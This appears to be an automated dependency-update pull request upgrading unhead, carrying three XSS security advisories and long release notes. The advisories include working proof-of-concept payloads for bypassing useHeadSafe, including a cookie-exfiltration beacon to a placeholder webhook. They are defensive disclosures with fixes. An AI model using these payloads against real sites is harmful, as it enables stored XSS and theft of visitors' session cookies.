ℹ️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| unhead (source) | ^1.11.20 → ^3.1.0 |
Unhead has XSS bypass in useHeadSafe via attribute name injection and case-sensitive protocol check
CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv
More information
Details
Summary
useHeadSafe() can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered <head> tags. This is the composable that Nuxt docs recommend for safely handling user-generated content.
Details
XSS via data-* attribute name injection
The acceptDataAttrs function (safe.ts, line 16-20) allows any property key starting with data- through to the final HTML. It only checks the prefix, not whether the key contains spaces or other characters that break HTML attribute parsing.
function acceptDataAttrs(value: Record<string, string>) {
return Object.fromEntries(
Object.entries(value || {}).filter(([key]) => key === 'id' || key.startsWith('data-')),
)
}This result gets merged into every tag's props at line 114:
tag.props = { ...acceptDataAttrs(prev), ...next }Then propsToString (propsToString.ts, line 26) interpolates property keys directly into the HTML string with no sanitization:
attrs += value === true ? ` ${key}` : ` ${key}="${encodeAttribute(value)}"`A space in the key breaks out of the attribute name. Everything after the space becomes separate HTML attributes.
PoC
The most practical vector uses a link tag. <link rel="stylesheet"> fires onload once the stylesheet loads, giving reliable script execution:
useHeadSafe({
link: [{
rel: 'stylesheet',
href: '/valid-stylesheet.css',
'data-x onload=alert(document.domain) y': 'z'
}]
})SSR output:
<link data-x onload=alert(document.domain) y="z" rel="stylesheet" href="/valid-stylesheet.css">The browser parses onload=alert(document.domain) as its own attribute. Once the stylesheet loads, the handler fires.
The same injection works on any tag type since acceptDataAttrs is applied to all of them at line 114. Here's the same thing on a meta tag (the injected attributes render, though onclick doesn't fire on non-interactive <meta> elements):
useHeadSafe({
meta: [{
name: 'description',
content: 'legitimate content',
'data-x onclick=alert(document.domain) y': 'z'
}]
})Realistic scenario
A Nuxt app accepts SEO metadata from a CMS or user profile. The developer uses useHeadSafe() as the docs recommend. An attacker puts a data-* key with spaces and an event handler into their input. The payload renders into the HTML on every page load.
Suggested fix
For vulnerability 1, validate that attribute names only contain characters legal in HTML attributes:
const SAFE_ATTR_RE = /^[a-zA-Z][a-zA-Z0-9\-]*$/
function acceptDataAttrs(value: Record<string, string>) {
return Object.fromEntries(
Object.entries(value || {}).filter(
([key]) => (key === 'id' || key.startsWith('data-')) && SAFE_ATTR_RE.test(key)
),
)
}Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
References
- https://github.com/unjs/unhead/security/advisories/GHSA-g5xx-pwrp-g3fv
- https://github.com/unjs/unhead/commit/9ecc4f9568b0e23938f36d4b23fcfa4a18a89045
- https://github.com/unjs/unhead/releases/tag/v2.1.11
- https://nvd.nist.gov/vuln/detail/CVE-2026-31860
- https://github.com/advisories/GHSA-g5xx-pwrp-g3fv
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Unhead Vulnerable to Bypass of URI Scheme Sanitization in makeTagSafe via Case-Sensitivity
CVE-2026-31873 / GHSA-5339-hvwr-7582
More information
Details
The link.href check in makeTagSafe (safe.ts, line 68-71) uses String.includes(), which is case-sensitive:
if (key === 'href') {
if (val.includes('javascript:') || val.includes('data:')) {
return
}
next[key] = val
}Browsers treat URI schemes case-insensitively. DATA:text/css,... is the same as data:text/css,... to the browser, but 'DATA:...'.includes('data:') returns false.
PoC
useHeadSafe({
link: [{
rel: 'stylesheet',
href: 'DATA:text/css,body{display:none}'
}]
})SSR output:
<link rel="stylesheet" href="DATA:text/css,body{display:none}">The browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks.
Any case variation works: DATA:, Data:, dAtA:, JAVASCRIPT:, etc.
Suggested fix
if (key === 'href') {
const lower = val.toLowerCase()
if (lower.includes('javascript:') || lower.includes('data:')) {
return
}
next[key] = val
}Severity
- CVSS Score: 0.0 / 10 (Low)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
References
- https://github.com/unjs/unhead/security/advisories/GHSA-5339-hvwr-7582
- https://github.com/unjs/unhead/releases/tag/v2.1.11
- https://nvd.nist.gov/vuln/detail/CVE-2026-31873
- https://github.com/advisories/GHSA-5339-hvwr-7582
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()
CVE-2026-39315 / GHSA-95h2-gj7x-gx9w
More information
Details
##EVIDENCE
| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |
Summary
useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends
for rendering user-supplied content in <head> safely. Internally, the
hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes
HTML entities before checking for blocked URI schemes (javascript:, data:,
vbscript:). The decoder uses two regular expressions with fixed-width digit caps:
// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/gThe HTML5 specification imposes no limit on leading zeros in numeric character
references. Both of the following are valid, spec-compliant encodings of : (U+003A):
&#​0000000058;— 10 decimal digits, exceeds the\d{1,7}cap:— 7 hex digits, exceeds the[0-9a-f]{1,6}cap
When a padded entity exceeds the regex digit cap, the decoder silently skips it. The
undecoded string is then passed to startsWith('javascript:'), which does not match.
makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML
parser decodes the padded entity natively and constructs the blocked URI.
Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the
data-*prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.
Root Cause Analysis
Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits maxWhy the bypass works
The HTML5 parser specification ([§ Numeric character reference end state][html5-spec])
states that leading zeros in numeric character references are valid and the number of
digits is unbounded. A conformant browser will decode : as : regardless
of the number of leading zeros.
Because the regex caps are lower than the digit counts an attacker can supply, the
entity match fails silently. The raw padded string (java&#​0000000058;script:alert(1))
is passed unchanged to the scheme check. startsWith('javascript:') returns false,
and the value is rendered into SSR output verbatim. The browser then decodes the entity
and the blocked scheme is present in the live DOM.
Steps to Reproduce
Environment
- Nuxt: 4.x (current)
- unhead: 2.1.12 (current at time of report)
- Node: 20 LTS
- Chrome: 146+
Step 1 — Create a fresh Nuxt 4 project
npx nuxi init poc
cd poc
npm installStep 2 — Replace pages/index.vue
<template>
<div>
<h1>useHeadSafe bypass PoC</h1>
<p>View page source or run the curl command below.</p>
</div>
</template>
<script setup>
import { useHeadSafe } from '#imports'
useHeadSafe({
link: [
// 10-digit decimal padding — exceeds \d{1,7} cap
{ rel: 'stylesheet', href: 'java&#​0000000058;script:alert(1)' },
// 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
{ rel: 'icon', href: 'data:text/html,<script>alert(document.cookie)<\/script>' }
]
})
</script>Step 3 — Start the dev server and inspect SSR output
npm run devIn a separate terminal:
curl -s http://localhost:3000 | grep '<link'Expected result (safe)
Tags stripped entirely, or schemes rewritten to safe placeholder values.
Actual result (vulnerable)
<link href="java&#​0000000058;script:alert(1)" rel="stylesheet">
<link href="data:text/html,<script>alert(document.cookie)<\/script>" rel="icon">Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol()
blocklist — are present in server-rendered HTML. The browser decodes the padded entities
natively on load.
Confirmed Execution Path (data: URI via iframe, Chrome 146+)
Immediate script execution from <link> tags does not occur automatically — browsers
do not create a browsing context from <link href>. The exploitability of this bypass
therefore depends on whether downstream application code consumes <link> href values.
This is a common pattern in real-world Nuxt applications:
- Head management libraries that hydrate or re-process
<link>tags on the client - SEO and analytics scripts that read canonical or icon link values
- Application features that preview, validate, or forward link URLs into iframes
- Developer tooling that loads icon URLs for thumbnail generation
Chrome 146+ permits data: URIs loaded into iframes even though top-level data:
navigation has been blocked since Chrome 60. The following snippet — representative
of any downstream consumer that forwards <link href> into an iframe — triggers
confirmed script execution:
// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
const iframe = document.createElement('iframe');
iframe.src = link.href; // browser decodes : → ':', constructs data: URI
document.body.appendChild(iframe); // alert() fires
}Full PoC with cookie exfiltration beacon
Replace
ADD-YOUR-WEBHOOK-URL-HEREwith a webhook.site URL before running.
<template>
<div>
<h1>useHeadSafe padded entity bypass — full PoC</h1>
<p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
</div>
</template>
<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'
onMounted(() => {
document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
const el = document.getElementById('cookie-display')
if (el) el.textContent = document.cookie
// Simulate downstream consumption: load the bypassed icon href into an iframe
const link = document.querySelector('link[rel="icon"]')
if (link) {
const iframe = document.createElement('iframe')
iframe.src = link.href
iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
document.body.appendChild(iframe)
}
})
const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'
useHeadSafe({
link: [
{
rel: 'icon',
href: `data:text/html;base64,${btoa(`
<!DOCTYPE html><html><body><script>
alert('XSS via useHeadSafe padded entity bypass');
new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
finding: 'useHeadSafe hasDangerousProtocol bypass',
cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
origin: location.origin,
ts: Date.now()
}));
<\/script></body></html>
`)}`
}
]
})
</script>Observed result:
alert()fires from inside the iframe'sdata:document context- Webhook receives a GET request with the cookie value and origin in the query string
- Page source confirms
:is present unescaped in the SSR-rendered<link>tag
All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.
Impact
1. Broken security contract
Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted
user input have no reliable protection against javascript:, data:, or vbscript:
scheme injection when that input contains leading-zero padded numeric character
references. The documented guarantee is silently violated.
2. Confirmed data: URI escape to SSR output
A fully valid data:text/html URI now reaches server-rendered HTML. In applications
where any downstream code reads and loads <link href> values (head management
utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload
persists in SSR output and executes for every visitor whose browser triggers the
downstream consumption path.
3. Forward exploitability
If any navigation-context attribute (e.g. <a href>, <form action>) is added to the
safe attribute whitelist in a future release, this bypass produces immediately
exploitable stored XSS with no additional attacker effort, because the end-to-end
bypass already works today.
Suggested Fix
Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint()
function already validates that decoded codepoints fall within the valid Unicode range
(> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new
attack surface — it only ensures that all spec-compliant encodings of a codepoint are
decoded before the scheme check runs.
- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/gFile: packages/unhead/src/plugins/safe.ts, lines 10–11
This is a minimal, low-risk change. No other code in the call path requires modification.
Weaknesses
| CWE | Description |
|---|---|
| CWE-184 | Incomplete List of Disallowed Inputs |
| CWE-116 | Improper Encoding or Escaping of Output |
| CWE-20 | Improper Input Validation |
References
| Source | Link |
|---|---|
| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |
GHSA-46fp-8f5p-pf2c — Loofah allowed_uri? bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |
CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |
| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |
Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |
| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |
| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |
Severity
- CVSS Score: 6.1 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
References
- https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w
- https://nvd.nist.gov/vuln/detail/CVE-2026-39315
- https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299
- https://github.com/unjs/unhead/releases/tag/v2.1.13
- https://github.com/advisories/GHSA-95h2-gj7x-gx9w
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
unjs/unhead (unhead)
v3.1.0
🛠️ Unhead CLI
To assist with migrations and overall DX a CLI has been introduced: @unhead/cli.
npx -y @​unhead/cli It lets you do the following:
audit Lint your codebase for unhead misuse, type-narrowing issues, and SEO/perf foot-guns.
migrate Apply autofixes for v2-to-v3 migration: rewrite deprecated props and wrap tag literals in defineX helpers.
validate-html Run the runtime ValidatePlugin over prerendered HTML files (e.g. dist/, .output/, build/).
validate-url Fetch a rendered URL and run unhead\'s SEO/perf validation rules over its <head>. For example, try running audit on your own project for hints on how to improve your SEO.
:heavy_check_mark: Unhead ESLint
Knowing that your useHead() and useSeoMeta() code is right while your coding is important. While type-narrowing solves many broken cases, we introduce an ESLint plugin to help catch anything that the typechecker can't catch.
These rules are shared from the runtime ValidatePlugin
# flat-config ESLint plugin with v2→v3 migration autofixes
npm i -D @​unhead/eslint-plugin
```ts [eslint.config.ts]
import { configs } from '@​unhead/eslint-plugin'
export default [
configs.recommended,
]🌊 Streaming SSR non-Vite support
The streaming plugin lived only at unhead/stream/vite previously, leaving non-Vite users with no way to wire the bootstrap. The plugin is now a bundler-agnostic unplugin factory with first-class webpack and Vite entries, and the framework packages compose it behind Unhead({ streaming: true }).
// vite.config.ts
import { Unhead } from '@​unhead/vue/vite'
export default { plugins: [vue(), Unhead({ streaming: true })] }
// webpack.config.ts
import { Unhead } from '@​unhead/vue/bundler'
export default { plugins: [...Unhead({ streaming: true }).webpack()] }Streaming also gains a nonce option (forwarded on every injected <script> for CSP support), a fixed async mode for production Vite builds (the IIFE is now emitted via this.emitFile() so the script src references a real hashed asset), a dev-mode warning when the client IIFE runs against an empty server queue, and a shared StreamingGlobal type so the server bootstrap, client, and injected IIFE agree on the shape of window.__unhead__. Default mode changed from async to inline for smaller TTFB.
Changelog
🚀 Features
- cli,eslint-plugin:
- Add @unhead/cli and @unhead/eslint-plugin - by @harlan-zw in #755 <samp>(9e300)</samp>
- stream:
- Unify framework plugins as Unhead({ streaming: true }) per bundler - by @harlan-zw <samp>(63c03)</samp>
- Webpack plugin + bundler-agnostic factory - by @harlan-zw in #751 <samp>(3ed06)</samp>
🐞 Bug Fixes
- stream:
- Add missing webpack/rspack/rollup plugin entries - by @harlan-zw <samp>(7feae)</samp>
- Address coderabbit review comments - by @harlan-zw <samp>(180f4)</samp>
- Restore unhead/stream/vite as deprecation stub + re-add moduleType - by @harlan-zw <samp>(feee2)</samp>
- vue:
- Batch streamed head updates via self-deleting inline scripts - by @harlan-zw in #752 <samp>(40f77)</samp>
View changes on GitHub
v3.0.5
🐞 Bug Fixes
- bundler:
- Preserve useSeoMeta import when sibling call is untransformable - by @harlan-zw <samp>(8ea48)</samp>
- Preserve useSeoMeta import when sibling call is untransformable - by @harlan-zw in #749 <samp>(f7176)</samp>
- types:
- Export new link rel types from #744 - by @harlan-zw in #745 and #744 <samp>(af549)</samp>
- vue:
- Symmetric HeadStream vnodes for clean streaming hydration - by @harlan-zw in #748 <samp>(e860d)</samp>
View changes on GitHub
v3.0.4
🐞 Bug Fixes
- types: Missing
relsitemap, amphtml, hub, apple-touch-startup-image - by @harlan-zw in #744 <samp>(578da)</samp>
View changes on GitHub
v3.0.3
🐞 Bug Fixes
- bundler:
- Disable SSRStaticReplace in vite dev mode - by @harlan-zw in #739 <samp>(13121)</samp>
- legacy:
- Restore exports for v2 migration - by @harlan-zw in #741 <samp>(c400d)</samp>
- types:
- Prevent string widening in SpeculationRules nested types - by @harlan-zw in #737 <samp>(2d097)</samp>
View changes on GitHub
v3.0.2
🐞 Bug Fixes
- types: Accept readonly and as const inputs - by @harlan-zw in #736 <samp>(5ccf9)</samp>
View changes on GitHub
v3.0.1
🐞 Bug Fixes
- Proper script
importmap&speculationruleshandling - by @harlan-zw in #734 <samp>(8027f)</samp> - Better type narrowing escape hatches for custom rel/type - by @harlan-zw in #735 <samp>(06b4a)</samp>
View changes on GitHub
v3.0.0
Unhead v3 rebuilds the rendering engine from the ground up. The motivation: streaming SSR. Frameworks like Nuxt, SolidStart, and SvelteKit stream HTML to the browser as data loads, but head tags were still stuck in a request/response model, resolved once and never updated. To fix this properly, we had to make rendering synchronous, pluggable, and side-effect free. The result is a faster, smaller, and more capable head manager.
📣 Highlights
🌊 Streaming SSR
Head tags now update dynamically as suspense boundaries resolve during streaming. As each chunk streams to the browser, new <title>, <meta>, and <link> tags are pushed to a client-side queue and applied to the DOM. No waiting for the full page to load.
// entry-server.ts
import { createStreamableHead } from '@​unhead/vue/stream/server'
const { head, wrapStream } = createStreamableHead()
app.use(head)
// wraps the Vue stream, injecting head updates as chunks resolve
return wrapStream(renderToWebStream(app), template)// entry-client.ts
import { createStreamableHead } from '@​unhead/vue/stream/client'
const head = createStreamableHead()
app.use(head)Under the hood: a queue stub (window.__unhead__) collects head entries as they stream in before the main JS bundle loads. Once the client head instance initializes, it processes the queue and takes over. No entries are ever lost regardless of timing.
Streaming is supported for Vue, React, Solid.js, Svelte, and vanilla TypeScript. See PR #537.
🛠️ Unified Vite Plugin + DevTools
A single @unhead/{framework}/vite plugin replaces the old manual composition of @unhead/addons + streaming plugin + framework glue. One import, one call, and you get tree-shaking, useSeoMeta → useHead transform, inline minification, streaming SSR, dev-mode ValidatePlugin auto-injection, and Vite DevTools integration.
// vite.config.ts
import { Unhead } from '@​unhead/vue/vite'
import vue from '@​vitejs/plugin-vue'
export default defineConfig({
plugins: [vue(), Unhead()],
})The DevTools panel surfaces live head state during development: every useHead() / useSeoMeta() call with its source file and line number, resolved tags, SEO overview (title, description, canonical, Open Graph), useScript() load status, active plugins, template params, and warnings from the Validate plugin. Source tracing lets you click through from any tag back to the exact line that created it.
Available for Vue, React, Svelte, Solid, and vanilla via @unhead/bundler/vite (the renamed @unhead/addons package; the old name still works with a deprecation warning).
🎯 useHead() Type Narrowing
useHead() now narrows types based on input. Link, script, and meta tags resolve to specific subtypes instead of a generic union, so you get precise autocomplete and type errors when something is wrong.
useHead({
link: [
// Narrows to StylesheetLink: requires href, offers media, integrity, etc.
{ rel: 'stylesheet', href: '/styles.css' },
// Narrows to PreloadLink: requires as attribute
{ rel: 'preload', as: 'font', href: '/font.woff2', crossorigin: 'anonymous' },
],
script: [
// Narrows to ModuleScript
{ src: '/app.mjs', type: 'module' },
// Narrows to JsonLdScript
{ type: 'application/ld+json', innerHTML: '{}' },
],
})✅ ValidatePlugin
New optional ValidatePlugin that inspects resolved head output and warns about common mistakes: missing titles, duplicate meta tags, contradictory preload priorities, render-blocking scripts, late <meta charset>, too many fetchpriority="high" hints, preconnect without crossorigin, and more. Also includes v2 migration rules that detect deprecated property names (children, hid/vmid, body: true), missing TemplateParamsPlugin, and missing AliasSortingPlugin — all of which cause silent breakage on upgrade. Auto-injected in dev by the unified Vite plugin so warnings surface in the browser console without any manual setup. Fully tree-shakeable. Rules use ESLint-style flat config:
import { ValidatePlugin } from 'unhead/plugins'
createHead({
plugins: [
ValidatePlugin({
rules: {
'missing-description': 'off',
}
})
]
})See PRs #690, #691, #716, #722, #725, #732.
🔗 Canonical Plugin
New built-in CanonicalPlugin that auto-generates <link rel="canonical"> tags and resolves relative URLs to absolute in og:image, twitter:image, and og:url. Includes query parameter filtering (strips tracking params like utm_source, fbclid, gclid by default), trailing slash normalization, and automatic hash fragment stripping. Essential for SEO and social sharing.
import { CanonicalPlugin } from 'unhead/plugins'
createHead({
plugins: [
CanonicalPlugin({
canonicalHost: 'https://mysite.com',
trailingSlash: true,
queryWhitelist: ['page', 'sort'],
})
]
})🗜️ MinifyPlugin
New optional MinifyPlugin that minifies inline <script> and <style> tag content during SSR. Uses lightweight pure-JS minifiers with zero native dependencies, safe for edge and serverless runtimes. A companion build-time transform (MinifyTransform in @unhead/bundler) pre-minifies static innerHTML literals at compile time. Standalone utilities (minifyJS, minifyCSS, minifyJSON) are also available via unhead/minify.
import { MinifyPlugin } from 'unhead/plugins'
createHead({
plugins: [MinifyPlugin()]
})See PR #705.
📦 Performance
| Build | v3 size | v2 size | Delta gz |
|---|---|---|---|
| client | 10254 | 11513 | -534 (-11.2%) |
| server | 9894 | 10361 | -194 (-4.6%) |
| vueClient | 11323 | 12567 | -533 (-10.2%) |
| vueServer | 10849 | 11312 | -191 (-4.1%) |
| Benchmark | v2 mean | v3 mean | Delta |
|---|---|---|---|
| @unhead/vue | 0.106ms | 0.072ms | 32% faster |
| core | 0.088ms | 0.073ms | 17% faster |
Key optimizations:
- Client-only CAPO sorting (#626)
- Pure, tree-shakeable core with no side effects (#632)
- Minified internal DOM state properties (#635)
- Migrated unplugins from
estree-walker/acorn-loosetooxc-walker(#663) - Walker-based
transformHtmlTemplate(#581) TemplateParamsPluginandAliasSortingPluginmade opt-in for smaller bundles (#493, #494)
📊 Schema.org
- 12 new nodes:
Dataset,MusicAlbum,MusicGroup,MusicPlaylist,MusicRecording,PodcastEpisode,PodcastSeason,PodcastSeries,Service,TVEpisode,TVSeason,TVSeries(#612) - Graph resolution rewrite for correctness and performance (#616)
- Removed
ohashanddefudependencies (#605)
🔄 Other Changes
renderDOMHead()/renderSSRHead()are now fully synchronous, single-pass via a composableresolveTags()pipeline; the head instance exposes a pluggablerender()function for framework integrations (#619, #622, #628, #629, #630)@unhead/react/helmetdrop-in compat export for users migrating fromreact-helmet(#719)useHeadSafe()now whitelists CSS styles (#491)- Support for
blockingattribute on scripts and stylesheets (#489) useScript()consolidated back into core, legacy support dropped (#498)fediverse:creatormeta tag support (#703)- Switched from
hookableto lighterHookableCorewith sync-only hooks (#631) - Deprecation warnings added to aliased packages (
@unhead/schema,@unhead/shared) (#678) templateParamsextensible via module augmentation (#679)- Respect user-provided
twitter:cardinInferSeoMetaPlugin(#681) - Enforce
asattribute for preload links (#683) onRenderedcallback option onuseHead()for synchronizing with DOM head updates (#712)tagWeightoption oncreateHead()to override default CAPO tag weight function (#716)
🐛 Bug Fixes
- Hydration race condition with deferred patches (#634)
- Process pending patches even when dirty is false (#636)
- Deduplicate matching tags inside same render cycle (#668)
- Dedupe
<link rel="alternate">correctly (#655, #656, #658) - React: dispose head entries on unmount in StrictMode (#664)
- React: force invalidation on entry disposal (#559)
- Vue: support computed getter trigger (#638)
- Vue: expose
@unhead/vue/stream/iifewith correct types (#707) - Scripts: prevent scope disposal from aborting unrelated trigger (#660)
- Schema.org: allow
nullto opt out of default values (#680) - Schema.org: normalize
targetto array before mergingpotentialAction(#709) - Avoid mutating cached
titleTemplatetag inresolveTitleTemplate(#715)
⚠️ Breaking Changes
Synchronous rendering
renderDOMHead() and renderSSRHead() no longer return promises. Remove await.
Build plugins: @unhead/addons → @unhead/bundler (#726, #733)
The @unhead/addons package has been renamed to @unhead/bundler (the old name still works with a deprecation warning). Framework Vite plugins now use a named Unhead export and ship from each framework's /vite subpath:
- import unhead from '@​unhead/addons/vite'
+ import { Unhead } from '@​unhead/vue/vite'
// or @​unhead/react/vite, @​unhead/svelte/vite, @​unhead/solid-js/vite
export default defineConfig({
- plugins: [unhead()],
+ plugins: [Unhead()],
})Strict Link / Script / Meta types (#729)
Link and Script unions no longer fall back to GenericLink / GenericScript, so the type system enforces per-tag constraints (e.g. preload + as: 'font' requires crossorigin). Meta content is now required; use content: null explicitly to remove a meta tag. Custom rel / type values need satisfies GenericLink / satisfies GenericScript.
Dropped deprecations (#624)
| Old | New |
|---|---|
children | innerHTML |
hid / vmid | key |
body: true | tagPosition: 'bodyClose' |
useServerHead / useServerSeoMeta | useHead / useSeoMeta |
createHeadCore | createUnhead |
@unhead/vue/legacy | @unhead/vue/client or @unhead/vue/server (legacy path still works with deprecation warning) |
mode option on entries | Use client/server createHead imports |
CJS removed (#482)
All packages are ESM-only.
Plugins now opt-in
TemplateParamsPlugin and AliasSortingPlugin are no longer included by default. Import and register them explicitly if needed.
Hooks removed
inithook removeddom:renderTag,dom:renderedhooks deprecated (will be removed in v4)dom:beforeRenderis now synchronous (no async handlers)
Type changes
| Removed | Replacement |
|---|---|
Head | HeadTag |
MetaFlatInput | MetaFlat |
RuntimeMode | Removed |
@unhead/schema | unhead/types |
@unhead/shared | unhead |
Schema.org
PluginSchemaOrg/SchemaOrgUnheadPluginreplaced withUnheadSchemaOrgcanonicalHostreplaced withhost,canonicalUrlreplaced withhost+path
🔧 Migration Tooling
Add ValidatePlugin during your upgrade to automatically detect v2 patterns:
import { ValidatePlugin } from 'unhead/plugins'
createHead({ plugins: [ValidatePlugin()] })It will warn about missing plugins, deprecated properties, and other common migration issues. Remove it once migration is complete. If you use the unified Vite plugin, ValidatePlugin is auto-injected in dev so you don't have to wire it up manually. See PRs #722, #733.
📖 Migration Guide
See the full Migration Guide for detailed upgrade instructions.
Changelog
🚨 Breaking Changes
- Drop deprecations - by @harlan-zw in #624 <samp>(229d3)</samp>
useHead()type narrowing - by @harlan-zw in #627 <samp>(e8086)</samp>- Sync
renderDOMHead()- by @harlan-zw in #628 <samp>(627eb)</samp> - Sync
renderSSRHead()- by @harlan-zw in #629 <samp>(44d71)</samp> - Pluggable
render()function - by @harlan-zw in #630 <samp>(baaa7)</samp> - bundler:
- Named Unhead export, ctx-based transforms, dev-mode validate - by @harlan-zw in #733 <samp>(3a607)</samp>
- types:
- Enforce strict type narrowing for Link and Script unions - by @harlan-zw in #729 <samp>(f846a)</samp>
- unhead:
- Sync resolve tag engine - by @harlan-zw in #619 <samp>(436a0)</samp>
- Composable
resolveTags()- by @harlan-zw in #622 <samp>(b6a52)</samp>
🚀 Features
- Streaming support - by @harlan-zw in #537 <samp>(bcfc4)</samp>
- ValidatePlugin for head tag validation - by @harlan-zw in #690 <samp>(3fa0c)</samp>
- Access resolved head with
onRendered- by @harlan-zw and Claude Opus 4.6 (1M context) in #712 <samp>(55166)</samp> - Add
MinifyPluginfor inline script/style minification - by @harlan-zw and Claude Opus 4.6 (1M context) in #705 <samp>(f1f5d)</samp> - V2 migration rules in ValidatePlugin + DOM hook deprecations - by @harlan-zw and Claude Opus 4.6 (1M context) in #722 <samp>(f5edf)</samp>
@unhead/bundlerand/vitesubpath exports - by @harlan-zw in #726 <samp>(df9c8)</samp>- canonical:
- Query param filtering, trailing slash & hash stripping - by @harlan-zw and Claude Opus 4.6 (1M context) in #713 <samp>(8369d)</samp>
- devtools:
- Vite devtools integration - by @harlan-zw in #731 <samp>(e29d4)</samp>
- react:
- Add @unhead/react/helmet compat export - by @harlan-zw and Claude Opus 4.6 (1M context) in #719 <samp>(417da)</samp>
- unhead:
- Add
tagWeightoption andmeta-beyond-1mbvalidation rule - by @harlan-zw and Claude Opus 4.6 (1M context) in #716 <samp>(c58be)</samp>
- Add
- validate:
- Add performance validation rules - by @harlan-zw in #691 <samp>(0abb6)</samp>
- Add 7 performance/web vitals validation rules - by @harlan-zw in #725 <samp>(093a2)</samp>
- vue,streaming:
- Lower level stream APIs - by @harlan-zw in #674 <samp>(c67fb)</samp>
🐞 Bug Fixes
- Switch to
HookableCore- by @harlan-zw in #631 <samp>(cc794)</samp> - Pure unhead core - by @harlan-zw in #632 <samp>(26937)</samp>
- Hydration race condition with deferred patches - by @harlan-zw in #634 <samp>(3a36e)</samp>
- Sync
transformHtmlTemplate- by @harlan-zw <samp>(f696d)</samp> - Stricter type narrowing for head schema - by @harlan-zw in #665 <samp>(0c857)</samp>
- Type render() return across all framework integrations - by @harlan-zw in #672 <samp>(a7e76)</samp>
- Cherry-pick fixes from main - by @harlan-zw <samp>(0a5f9)</samp>
- Add
fediverse:creatormeta tag support - by @harlan-zw in #703 <samp>(545c9)</samp> - Avoid mutating cached titleTemplate tag in resolveTitleTemplate - by @harlan-zw and Claude Opus 4.6 (1M context) in #715 <samp>(977db)</samp>
- addons:
- Respect user-provided twitter:card in InferSeoMetaPlugin - by @harlan-zw in #681 <samp>(77ace)</samp>
- client:
- Process pending patches even when dirty is false - by @harlan-zw and Claude Opus 4.6 (1M context) in #530 and #636 <samp>(37db2)</samp>
- react:
- Ssr regression - by @harlan-zw <samp>(6adff)</samp>
- schema-org:
- Avoid crashing from 3+ duplicate nodes - by @harlan-zw <samp>(e68e6)</samp>
- Allow null to opt out of default values - by @harlan-zw and harlan-zw in #680 <samp>(01a7a)</samp>
- Clear graph nodes on each normalization cycle - by @harlan-zw in #701 <samp>(f665e)</samp>
- Dedupe typed arrays by @type during node merge - by @harlan-zw in #702 <samp>(b2caf)</samp>
- Normalize
targetto array before merging potentialAction - by @harlan-zw and Claude Opus 4.6 (1M context) in #709 <samp>(125ef)</samp> - Add missing Vue exports for schemaAutoImports entries - by @harlan-zw in #728 <samp>(caf8c)</samp>
- types:
- Enforce required as attribute for preload links - by @harlan-zw in #683 <samp>(beeb5)</samp>
- Make templatePara
✂ Note
PR body was truncated to here.
Configuration
